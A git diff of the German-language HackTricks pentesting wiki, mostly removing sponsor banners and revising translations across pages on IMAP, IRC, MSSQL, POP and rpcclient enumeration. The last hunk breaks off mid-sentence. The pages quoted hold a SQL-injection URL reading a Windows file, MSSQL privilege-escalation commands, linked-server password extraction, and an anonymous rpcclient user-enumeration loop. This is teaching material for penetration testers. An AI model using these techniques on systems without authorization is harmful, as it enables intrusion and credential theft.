-Support HackTricks +Unterstützen Sie HackTricks -* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! -* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst. +* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! +* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
{% endhint %} diff --git a/network-services-pentesting/pentesting-imap.md b/network-services-pentesting/pentesting-imap.md index 36f714d7c..8a092290a 100644 --- a/network-services-pentesting/pentesting-imap.md +++ b/network-services-pentesting/pentesting-imap.md @@ -15,14 +15,6 @@ Learn & practice GCP Hacking: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ## Internet Message Access Protocol Das **Internet Message Access Protocol (IMAP)** wurde entwickelt, um Benutzern zu ermöglichen, **auf ihre E-Mail-Nachrichten von jedem Standort aus zuzugreifen**, hauptsächlich über eine Internetverbindung. Im Wesentlichen werden E-Mails **auf einem Server gespeichert**, anstatt heruntergeladen und auf einem persönlichen Gerät eines Benutzers gespeichert zu werden. Das bedeutet, dass beim Zugriff auf oder Lesen einer E-Mail dies **direkt vom Server** erfolgt. Diese Fähigkeit ermöglicht die Bequemlichkeit, E-Mails von **mehreren Geräten** zu überprüfen, sodass keine Nachrichten verpasst werden, unabhängig von dem verwendeten Gerät. @@ -157,12 +149,6 @@ done * `port:143 CAPABILITY` * `port:993 CAPABILITY` -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - ## HackTricks Automatische Befehle ``` Protocol_Name: IMAP #Protocol Abbreviation if there is one. diff --git a/network-services-pentesting/pentesting-irc.md b/network-services-pentesting/pentesting-irc.md index 243bc41df..49f74df4e 100644 --- a/network-services-pentesting/pentesting-irc.md +++ b/network-services-pentesting/pentesting-irc.md @@ -15,25 +15,12 @@ Learn & practice GCP Hacking: {% endhint %} -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) ist eine **dark-web**-gestützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden. - -Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die aus informationsstehlender Malware resultieren. - -Sie können ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter: - -{% embed url="https://whiteintel.io" %} - -*** ## Grundinformationen IRC, ursprünglich ein **Textprotokoll**, wurde von IANA **194/TCP** zugewiesen, wird jedoch häufig auf **6667/TCP** und ähnlichen Ports betrieben, um keine **Root-Rechte** für den Betrieb zu benötigen. -Ein **Nickname** ist alles, was benötigt wird, um sich mit einem Server zu verbinden. Nach der Verbindung führt der Server eine Reverse-DNS-Abfrage zur IP des Benutzers durch. +Ein **Nickname** ist alles, was benötigt wird, um sich mit einem Server zu verbinden. Nach der Verbindung führt der Server eine Reverse-DNS-Abfrage auf die IP des Benutzers durch. Benutzer werden in **Operatoren** unterteilt, die einen **Benutzernamen** und ein **Passwort** für mehr Zugriff benötigen, und reguläre **Benutzer**. Operatoren haben unterschiedliche Privilegien, wobei Administratoren an der Spitze stehen. @@ -98,17 +85,6 @@ nmap -sV --script irc-botnet-channels,irc-info,irc-unrealircd-backdoor -p 194,66 * `looking up your hostname` -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) ist eine **dark-web**-gestützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden von **stealer malwares** **kompromittiert** wurden. - -Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die durch informationsstehlende Malware verursacht werden. - -Sie können ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter: - -{% embed url="https://whiteintel.io" %} {% hint style="success" %} Lernen & üben Sie AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ diff --git a/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md b/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md index 0dbc8b837..76bcab77f 100644 --- a/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md +++ b/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md @@ -1,28 +1,20 @@ # 1433 - Pentesting MSSQL - Microsoft SQL Server {% hint style="success" %} -Lernen & üben Sie AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Lernen & üben Sie GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks -* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! -* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ## Grundinformationen Von [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server): @@ -35,9 +27,9 @@ Von [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server): ``` ### **Standard-MS-SQL-Systemtabellen** -* **master-Datenbank**: Diese Datenbank ist entscheidend, da sie alle systembezogenen Details für eine SQL-Server-Instanz erfasst. +* **master-Datenbank**: Diese Datenbank ist entscheidend, da sie alle systembezogenen Details für eine SQL Server-Instanz erfasst. * **msdb-Datenbank**: Der SQL Server-Agent nutzt diese Datenbank zur Verwaltung der Planung von Warnungen und Jobs. -* **model-Datenbank**: Dient als Vorlage für jede neue Datenbank auf der SQL-Server-Instanz, wobei Änderungen wie Größe, Sortierung, Wiederherstellungsmodell und mehr in neu erstellten Datenbanken widergespiegelt werden. +* **model-Datenbank**: Dient als Vorlage für jede neue Datenbank auf der SQL Server-Instanz, wobei Änderungen wie Größe, Sortierung, Wiederherstellungsmodell und mehr in neu erstellten Datenbanken widergespiegelt werden. * **Resource-Datenbank**: Eine schreibgeschützte Datenbank, die Systemobjekte enthält, die mit SQL Server geliefert werden. Diese Objekte, obwohl physisch in der Resource-Datenbank gespeichert, werden logisch im sys-Schema jeder Datenbank präsentiert. * **tempdb-Datenbank**: Dient als temporärer Speicherbereich für flüchtige Objekte oder Zwischenresultate. @@ -51,7 +43,7 @@ nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config msf> use auxiliary/scanner/mssql/mssql_ping ``` {% hint style="info" %} -Wenn Sie **keine** **Anmeldeinformationen** haben, können Sie versuchen, sie zu erraten. Sie können nmap oder metasploit verwenden. Seien Sie vorsichtig, Sie können **Konten sperren**, wenn Sie mehrmals mit einem vorhandenen Benutzernamen fehlgeschlagen sind. +Wenn Sie **keine Anmeldeinformationen** haben, können Sie versuchen, diese zu erraten. Sie können nmap oder metasploit verwenden. Seien Sie vorsichtig, Sie können **Konten sperren**, wenn Sie sich mehrmals mit einem vorhandenen Benutzernamen anmelden und fehlschlagen. {% endhint %} #### Metasploit (Benutzeranmeldeinformationen erforderlich) @@ -297,7 +289,7 @@ SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTE ``` https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))-- ``` -### **RCE/Dateien lesen und Skripte ausführen (Python und R)** +### **RCE/Dateien lesen, Skripte ausführen (Python und R)** MSSQL könnte es Ihnen ermöglichen, **Skripte in Python und/oder R** auszuführen. Dieser Code wird von einem **anderen Benutzer** ausgeführt als dem, der **xp\_cmdshell** verwendet, um Befehle auszuführen. @@ -354,7 +346,7 @@ Es ist möglich, eine **.NET dll innerhalb von MSSQL mit benutzerdefinierten Fun ### Andere Möglichkeiten für RCE -Es gibt andere Methoden, um die Befehlsausführung zu erhalten, wie das Hinzufügen von [erweiterten gespeicherten Prozeduren](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR-Assemblies](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent Jobs](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15) und [externe Skripte](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql). +Es gibt andere Methoden, um die Ausführung von Befehlen zu erhalten, wie das Hinzufügen von [erweiterten gespeicherten Prozeduren](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR-Assemblies](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent Jobs](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15) und [externe Skripte](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql). ## MSSQL Privilegieneskalation @@ -394,7 +386,7 @@ EXEC sp_elevate_me --3. Verify your user is a sysadmin SELECT is_srvrolemember('sysadmin') ``` -Du kannst ein **metasploit** Modul verwenden: +Sie können ein **metasploit** Modul verwenden: ```bash msf> use auxiliary/admin/mssql/mssql_escalate_dbowner ``` @@ -440,7 +432,7 @@ SELECT IS_SRVROLEMEMBER('sysadmin') -- Change back to sa REVERT ``` -Sie können diesen Angriff mit einem **metasploit** Modul durchführen: +Sie können diesen Angriff mit einem **metasploit**-Modul durchführen: ```bash msf> auxiliary/admin/mssql/mssql_escalate_execute_as ``` @@ -456,7 +448,7 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse ## Extrahieren von Passwörtern aus SQL Server Linked Servers -Ein Angreifer kann Passwörter von SQL Server Linked Servers aus den SQL-Instanzen extrahieren und sie im Klartext erhalten, was dem Angreifer Passwörter gewährt, die verwendet werden können, um eine größere Kontrolle über das Ziel zu erlangen. Das Skript zum Extrahieren und Entschlüsseln der für die Linked Servers gespeicherten Passwörter finden Sie [hier](https://www.richardswinbank.net/admin/extract\_linked\_server\_passwords). +Ein Angreifer kann Passwörter von SQL Server Linked Servers aus den SQL-Instanzen extrahieren und im Klartext erhalten, was dem Angreifer Passwörter gewährt, die verwendet werden können, um einen größeren Fuß in das Ziel zu bekommen. Das Skript zum Extrahieren und Entschlüsseln der für die Linked Servers gespeicherten Passwörter finden Sie [hier](https://www.richardswinbank.net/admin/extract\_linked\_server\_passwords). Einige Anforderungen und Konfigurationen müssen vorgenommen werden, damit dieser Exploit funktioniert. Zunächst müssen Sie Administratorrechte auf dem Computer haben oder die Fähigkeit, die SQL Server-Konfigurationen zu verwalten. @@ -475,7 +467,7 @@ Für weitere Informationen siehe die folgenden Links zu diesem Angriff: [Entschl ## Lokale Privilegieneskalation Der Benutzer, der den MSSQL-Server ausführt, wird das Berechtigungstoken **SeImpersonatePrivilege** aktiviert haben.\ -Sie werden wahrscheinlich in der Lage sein, **auf Administrator zu eskalieren**, indem Sie eine dieser 2 Seiten folgen: +Sie werden wahrscheinlich in der Lage sein, **auf Administrator zu eskalieren**, indem Sie einer dieser 2 Seiten folgen: {% content-ref url="../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md" %} [roguepotato-and-printspoofer.md](../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md) @@ -497,15 +489,9 @@ Sie werden wahrscheinlich in der Lage sein, **auf Administrator zu eskalieren**, * [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/) * [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/) * [https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/) -* [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/) **Try Hard Security Group** +* [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/) * [https://mayfly277.github.io/posts/GOADv2-pwning-part12/](https://mayfly277.github.io/posts/GOADv2-pwning-part12/) -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ## HackTricks Automatische Befehle ``` Protocol_Name: MSSQL #Protocol Abbreviation if there is one. diff --git a/network-services-pentesting/pentesting-pop.md b/network-services-pentesting/pentesting-pop.md index ba99d1f59..834294746 100644 --- a/network-services-pentesting/pentesting-pop.md +++ b/network-services-pentesting/pentesting-pop.md @@ -15,13 +15,6 @@ Learn & practice GCP Hacking: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** ## Grundinformationen @@ -101,14 +94,9 @@ Von [https://academy.hackthebox.com/module/112/section/1073](https://academy.hac | `auth_debug` | Aktiviert alle Authentifizierungs-Debug-Protokollierungen. | | `auth_debug_passwords` | Diese Einstellung passt die Protokollierungs-Verbosity an, die übermittelten Passwörter und das Schema werden protokolliert. | | `auth_verbose` | Protokolliert erfolglose Authentifizierungsversuche und deren Gründe. | -| `auth_verbose_passwords` | Passwörter, die zur Authentifizierung verwendet werden, werden protokolliert und können ebenfalls gekürzt werden. | +| `auth_verbose_passwords` | Passwörter, die für die Authentifizierung verwendet werden, werden protokolliert und können ebenfalls gekürzt werden. | | `auth_anonymous_username` | Dies gibt den Benutzernamen an, der beim Anmelden mit dem ANONYMOUS SASL-Mechanismus verwendet werden soll. | -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} ## HackTricks Automatische Befehle ``` diff --git a/network-services-pentesting/pentesting-smb/rpcclient-enumeration.md b/network-services-pentesting/pentesting-smb/rpcclient-enumeration.md index 93d811e7b..6ebc39367 100644 --- a/network-services-pentesting/pentesting-smb/rpcclient-enumeration.md +++ b/network-services-pentesting/pentesting-smb/rpcclient-enumeration.md @@ -1,5 +1,101 @@ # rpcclient enumeration +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +Support HackTricks + +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
+{% endhint %} + +### Übersicht über Relative Identifiers (RID) und Security Identifiers (SID) + +**Relative Identifiers (RID)** und **Security Identifiers (SID)** sind Schlüsselkomponenten in Windows-Betriebssystemen zur eindeutigen Identifizierung und Verwaltung von Objekten, wie Benutzern und Gruppen, innerhalb einer Netzwerkdomäne. + +- **SIDs** dienen als eindeutige Identifikatoren für Domänen und stellen sicher, dass jede Domäne unterscheidbar ist. +- **RIDs** werden an SIDs angehängt, um eindeutige Identifikatoren für Objekte innerhalb dieser Domänen zu erstellen. Diese Kombination ermöglicht eine präzise Verfolgung und Verwaltung von Objektberechtigungen und Zugriffskontrollen. + +Zum Beispiel könnte ein Benutzer namens `pepe` einen eindeutigen Identifikator haben, der die SID der Domäne mit seinem spezifischen RID kombiniert, dargestellt in sowohl hexadezimaler (`0x457`) als auch dezimaler (`1111`) Form. Dies ergibt einen vollständigen und einzigartigen Identifikator für pepe innerhalb der Domäne wie: `S-1-5-21-1074507654-1937615267-42093643874-1111`. + + +### **Enumeration mit rpcclient** + +Das **`rpcclient`**-Dienstprogramm von Samba wird verwendet, um mit **RPC-Endpunkten über benannte Pipes** zu interagieren. Nach der **Herstellung einer SMB-Sitzung**, die oft Anmeldeinformationen erfordert, können die folgenden Befehle an die SAMR-, LSARPC- und LSARPC-DS-Schnittstellen ausgegeben werden. + +#### Serverinformationen + +* Um **Serverinformationen** zu erhalten: wird der Befehl `srvinfo` verwendet. + +#### Auflistung von Benutzern + +* **Benutzer können aufgelistet werden** mit: `querydispinfo` und `enumdomusers`. +* **Details eines Benutzers** durch: `queryuser <0xrid>`. +* **Gruppen eines Benutzers** mit: `queryusergroups <0xrid>`. +* **Die SID eines Benutzers wird abgerufen** durch: `lookupnames `. +* **Aliases von Benutzern** durch: `queryuseraliases [builtin|domain] `. +```bash +# Users' RIDs-forced +for i in $(seq 500 1100); do +rpcclient -N -U "" [IP_ADDRESS] -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo ""; +done + +# samrdump.py can also serve this purpose +``` +#### Enumeration of Groups + +* **Gruppen** mit: `enumdomgroups`. +* **Details einer Gruppe** mit: `querygroup <0xrid>`. +* **Mitglieder einer Gruppe** durch: `querygroupmem <0xrid>`. + +#### Enumeration of Alias Groups + +* **Aliasgruppen** mit: `enumalsgroups `. +* **Mitglieder einer Aliasgruppe** mit: `queryaliasmem builtin|domain <0xrid>`. + +#### Enumeration of Domains + +* **Domänen** mit: `enumdomains`. +* **Die SID einer Domäne wird abgerufen** durch: `lsaquery`. +* **Domäneninformationen werden erhalten** durch: `querydominfo`. + +#### Enumeration of Shares + +* **Alle verfügbaren Freigaben** mit: `netshareenumall`. +* **Informationen über eine spezifische Freigabe werden abgerufen** mit: `netsharegetinfo `. + +#### Additional Operations with SIDs + +* **SIDs nach Namen** mit: `lookupnames `. +* **Weitere SIDs** durch: `lsaenumsid`. +* **RID-Zyklus zur Überprüfung weiterer SIDs** wird durchgeführt mit: `lookupsids `. + +#### **Extra commands** + +| **Befehl** | **Schnittstelle** | **Beschreibung** | +| ------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------- | +| queryuser | SAMR | Benutzerinformationen abrufen | +| querygroup | Gruppeninformationen abrufen | | +| querydominfo | Domäneninformationen abrufen | | +| enumdomusers | Domänenbenutzer auflisten | | +| enumdomgroups | Domänengruppen auflisten | | +| createdomuser | Einen Domänenbenutzer erstellen | | +| deletedomuser | Einen Domänenbenutzer löschen | | +| lookupnames | LSARPC | Benutzernamen zu SID[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn8) Werten nachschlagen | +| lookupsids | SIDs zu Benutzernamen nachschlagen (RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9) Zyklus) | | +| lsaaddacctrights | Rechte zu einem Benutzerkonto hinzufügen | | +| lsaremoveacctrights | Rechte von einem Benutzerkonto entfernen | | +| dsroledominfo | LSARPC-DS | Primäre Domäneninformationen abrufen | +| dsenumdomtrusts | Vertrauenswürdige Domänen innerhalb eines AD-Waldes auflisten | | + +Um **besser zu verstehen**, wie die Tools _**samrdump**_ **und** _**rpcdump**_ funktionieren, sollten Sie [**Pentesting MSRPC**](../135-pentesting-msrpc.md) lesen. + {% hint style="success" %} Lernen & üben Sie AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Lernen & üben Sie GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) @@ -14,113 +110,3 @@ Lernen & üben Sie GCP Hacking: {% endhint %} - -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - -### Übersicht über Relative Identifiers (RID) und Security Identifiers (SID) - -**Relative Identifiers (RID)** und **Security Identifiers (SID)** sind Schlüsselkomponenten in Windows-Betriebssystemen zur eindeutigen Identifizierung und Verwaltung von Objekten, wie Benutzern und Gruppen, innerhalb einer Netzwerkdomäne. - -- **SIDs** dienen als eindeutige Identifikatoren für Domänen und stellen sicher, dass jede Domäne unterscheidbar ist. -- **RIDs** werden an SIDs angehängt, um eindeutige Identifikatoren für Objekte innerhalb dieser Domänen zu erstellen. Diese Kombination ermöglicht eine präzise Verfolgung und Verwaltung von Objektberechtigungen und Zugriffskontrollen. - -Zum Beispiel könnte ein Benutzer namens `pepe` einen eindeutigen Identifikator haben, der die SID der Domäne mit seiner spezifischen RID kombiniert, dargestellt in sowohl hexadezimaler (`0x457`) als auch dezimaler (`1111`) Form. Dies ergibt einen vollständigen und einzigartigen Identifikator für pepe innerhalb der Domäne wie: `S-1-5-21-1074507654-1937615267-42093643874-1111`. - - -### **Enumeration mit rpcclient** - -Das **`rpcclient`**-Dienstprogramm von Samba wird verwendet, um mit **RPC-Endpunkten über benannte Pipes** zu interagieren. Nach der **Herstellung einer SMB-Sitzung**, die oft Anmeldeinformationen erfordert, können die folgenden Befehle an die SAMR-, LSARPC- und LSARPC-DS-Schnittstellen ausgegeben werden. - -#### Serverinformationen - -* Um **Serverinformationen** zu erhalten: wird der Befehl `srvinfo` verwendet. - -#### Auflistung von Benutzern - -* **Benutzer können aufgelistet werden** mit: `querydispinfo` und `enumdomusers`. -* **Details eines Benutzers** mit: `queryuser <0xrid>`. -* **Gruppen eines Benutzers** mit: `queryusergroups <0xrid>`. -* **Die SID eines Benutzers wird abgerufen** durch: `lookupnames `. -* **Aliases von Benutzern** mit: `queryuseraliases [builtin|domain] `. -```bash -# Users' RIDs-forced -for i in $(seq 500 1100); do -rpcclient -N -U "" [IP_ADDRESS] -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo ""; -done - -# samrdump.py can also serve this purpose -``` -#### Aufzählung von Gruppen - -* **Gruppen** mit: `enumdomgroups`. -* **Details einer Gruppe** mit: `querygroup <0xrid>`. -* **Mitglieder einer Gruppe** durch: `querygroupmem <0xrid>`. - -#### Aufzählung von Alias-Gruppen - -* **Alias-Gruppen** mit: `enumalsgroups `. -* **Mitglieder einer Alias-Gruppe** mit: `queryaliasmem builtin|domain <0xrid>`. - -#### Aufzählung von Domänen - -* **Domänen** mit: `enumdomains`. -* **Die SID einer Domäne wird abgerufen** durch: `lsaquery`. -* **Domäneninformationen werden erhalten** durch: `querydominfo`. - -#### Aufzählung von Freigaben - -* **Alle verfügbaren Freigaben** mit: `netshareenumall`. -* **Informationen über eine bestimmte Freigabe werden abgerufen** mit: `netsharegetinfo `. - -#### Zusätzliche Operationen mit SIDs - -* **SIDs nach Namen** mit: `lookupnames `. -* **Weitere SIDs** durch: `lsaenumsid`. -* **RID-Zyklus zur Überprüfung weiterer SIDs** wird durchgeführt mit: `lookupsids `. - -#### **Zusätzliche Befehle** - -| **Befehl** | **Schnittstelle** | **Beschreibung** | -| ------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------- | -| queryuser | SAMR | Benutzerinformationen abrufen | -| querygroup | Gruppeninformationen abrufen | | -| querydominfo | Domäneninformationen abrufen | | -| enumdomusers | Domänenbenutzer auflisten | | -| enumdomgroups | Domänengruppen auflisten | | -| createdomuser | Einen Domänenbenutzer erstellen | | -| deletedomuser | Einen Domänenbenutzer löschen | | -| lookupnames | LSARPC | Benutzernamen in SID[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn8) Werte umschauen | -| lookupsids | SIDs in Benutzernamen umschauen (RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9) Zyklus) | | -| lsaaddacctrights | Rechte zu einem Benutzerkonto hinzufügen | | -| lsaremoveacctrights | Rechte von einem Benutzerkonto entfernen | | -| dsroledominfo | LSARPC-DS | Primäre Domäneninformationen abrufen | -| dsenumdomtrusts | Vertrauenswürdige Domänen innerhalb eines AD-Forsts auflisten | | - -Um **besser zu verstehen**, wie die Tools _**samrdump**_ **und** _**rpcdump**_ funktionieren, sollten Sie [**Pentesting MSRPC**](../135-pentesting-msrpc.md) lesen. - -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -{% hint style="success" %} -Lernen & üben Sie AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Lernen & üben Sie GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) - -
- -HackTricks unterstützen - -* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! -* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden. - -
-{% endhint %} diff --git a/network-services-pentesting/pentesting-voip/basic-voip-protocols/README.md b/network-services-pentesting/pentesting-voip/basic-voip-protocols/README.md index d7d02a1ba..0dd4a45ef 100644 --- a/network-services-pentesting/pentesting-voip/basic-voip-protocols/README.md +++ b/network-services-pentesting/pentesting-voip/basic-voip-protocols/README.md @@ -6,7 +6,7 @@ Lernen & üben Sie GCP Hacking: -Support HackTricks +Unterstützen Sie HackTricks * Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! * **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** @@ -16,20 +16,6 @@ Lernen & üben Sie GCP Hacking:
- -[**WhiteIntel**](https://whiteintel.io) ist eine **Dark-Web**-unterstützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden. - -Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die durch informationsstehlende Malware verursacht werden. - -Sie können ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter: - -{% embed url="https://whiteintel.io" %} - -*** - ## Signalisierungsprotokolle ### SIP (Session Initiation Protocol) @@ -44,49 +30,49 @@ Dies ist der Industriestandard, für weitere Informationen siehe: MGCP (Media Gateway Control Protocol) ist ein **Signalisierungs-** und **Anrufkontrollprotokoll**, das in RFC 3435 beschrieben ist. Es arbeitet in einer zentralisierten Architektur, die aus drei Hauptkomponenten besteht: -1. **Call Agent oder Media Gateway Controller (MGC)**: Das Hauptgateway in der MGCP-Architektur ist verantwortlich für die **Verwaltung und Kontrolle der Medien-Gateways**. Es verwaltet die Anrufaufbau-, Änderungs- und Beendigungsprozesse. Der MGC kommuniziert mit den Medien-Gateways über das MGCP-Protokoll. -2. **Media Gateways (MGs) oder Slave Gateways**: Diese Geräte **konvertieren digitale Medienströme zwischen verschiedenen Netzwerken**, wie z.B. traditioneller leitungsvermittelter Telefonie und paketvermittelten IP-Netzwerken. Sie werden vom MGC verwaltet und führen die von ihm empfangenen Befehle aus. Medien-Gateways können Funktionen wie Transkodierung, Paketierung und Echo-Unterdrückung umfassen. -3. **Signaling Gateways (SGs)**: Diese Gateways sind verantwortlich für die 